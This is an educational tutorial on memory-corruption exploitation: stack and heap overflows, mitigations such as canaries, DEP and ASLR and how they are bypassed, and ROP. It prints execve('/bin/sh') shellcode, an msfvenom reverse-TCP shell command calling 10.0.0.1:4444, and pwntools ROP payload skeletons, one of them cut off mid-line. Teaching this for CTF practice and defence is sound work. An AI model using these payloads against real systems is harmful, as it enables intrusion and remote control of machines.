Key Takeaways

  • Stack overflow overwrites return addresses
  • DEP/NX prevents code execution on stack
  • ROP chains bypass DEP using existing code
  • ASLR bypass requires information leak

1. Buffer Overflow Fundamentals

A buffer overflow occurs when a program writes more data to a buffer than it can hold, overwriting adjacent memory. This can corrupt data, crash the program, or allow arbitrary code execution.

// Vulnerable C code
char buffer[64];
gets(buffer);  // No bounds checking!

// If input > 64 bytes, overflow occurs
// Stack layout:
// [buffer 64 bytes][saved EBP][return address]
// Overflow can overwrite return address → control EIP

2. Stack-Based Buffer Overflow

Classic Stack Overflow
# Find offset to EIP
msf-pattern_create -l 200
# Send pattern, note EIP value
msf-pattern_offset -q 0x41326341

# Python exploit skeleton
import struct

offset = 76  # Found with pattern
eip = struct.pack("

Shellcode Development

; Linux x86 execve("/bin/sh")
xor eax, eax
push eax
push 0x68732f2f   ; //sh
push 0x6e69622f   ; /bin
mov ebx, esp
push eax
push ebx
mov ecx, esp
mov al, 0xb
int 0x80

# Generate with msfvenom
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.0.0.1 LPORT=4444 -f python -b '\x00'

3. Heap Exploitation

// Heap overflow - corrupt adjacent chunk metadata
char *a = malloc(128);
char *b = malloc(128);

// Overflow a → corrupt b's metadata
strcpy(a, user_input);  // If > 128 bytes, overflows into b

// Modern heap exploits:
// - Use-After-Free (UAF)
// - Double Free
// - Heap spraying
// - tcache poisoning (glibc 2.26+)

4. Modern Mitigations

Stack Canaries

Random value before return address. If modified, program aborts.

# Bypass: Info leak to read canary value, or brute force (fork servers)
DEP/NX (Data Execution Prevention)

Marks stack/heap as non-executable.

# Bypass: ROP chains (use existing code gadgets)
ASLR (Address Space Layout Randomization)

Randomizes memory addresses on each execution.

# Bypass: Info leak, brute force (32-bit), ret2plt

5. Return-Oriented Programming

# ROP chains - chain together "gadgets" ending in ret
# Gadget: pop rdi; ret
# Gadget: system()

# Using pwntools
from pwn import *

elf = ELF("./vulnerable")
rop = ROP(elf)

# Build chain to call system("/bin/sh")
rop.raw(pop_rdi_gadget)
rop.raw(next(elf.search(b"/bin/sh")))
rop.raw(elf.symbols['system'])

payload = b"A" * offset + rop.chain()

Finding Gadgets

# ROPgadget
ROPgadget --binary ./vuln | grep "pop rdi"

# ropper
ropper -f ./vuln --search "pop rdi"

# Common gadgets needed:
# pop rdi; ret   - First argument
# pop rsi; ret   - Second argument
# pop rdx; ret   - Third argument
# ret            - Stack alignment

6. ASLR Bypass Techniques

  • Information leak: Format string, OOB read
  • Partial overwrite: Overwrite only last 12 bits
  • ret2plt: PLT addresses are relative
  • Brute force: 32-bit has limited entropy
  • JIT spray: JavaScript heap spraying

7. Exploitation Tools

  • pwntools: Python exploitation library
  • GDB + gef/pwndbg: Debugging with exploitation features
  • ROPgadget/ropper: Find ROP gadgets
  • checksec: Check binary protections
  • one_gadget: Find one-shot RCE gadgets in libc
# Check binary protections
checksec --file=./vulnerable
# RELRO, Stack Canary, NX, PIE, RPATH, RUNPATH

# pwntools example
from pwn import *

p = process('./vulnerable')
# or p = remote('host', port)

payload = b"A" * offset + p64(rop_chain)
p.sendline(payload)
p.interactive()

8. Practice Resources

  • pwnable.kr: Online wargames
  • ROP Emporium: ROP-focused challenges
  • Exploit Education: Phoenix, Protostar
  • HackTheBox: Binary exploitation challenges
  • Nightmare: CTF-style binary exploitation

FAQ

Are buffer overflows still relevant?
Yes! While mitigations make them harder, they're still exploited. Memory-unsafe languages (C/C++) are everywhere in systems code, browsers, and IoT.

Memory Corruption Reverse Engineering Malware Analysis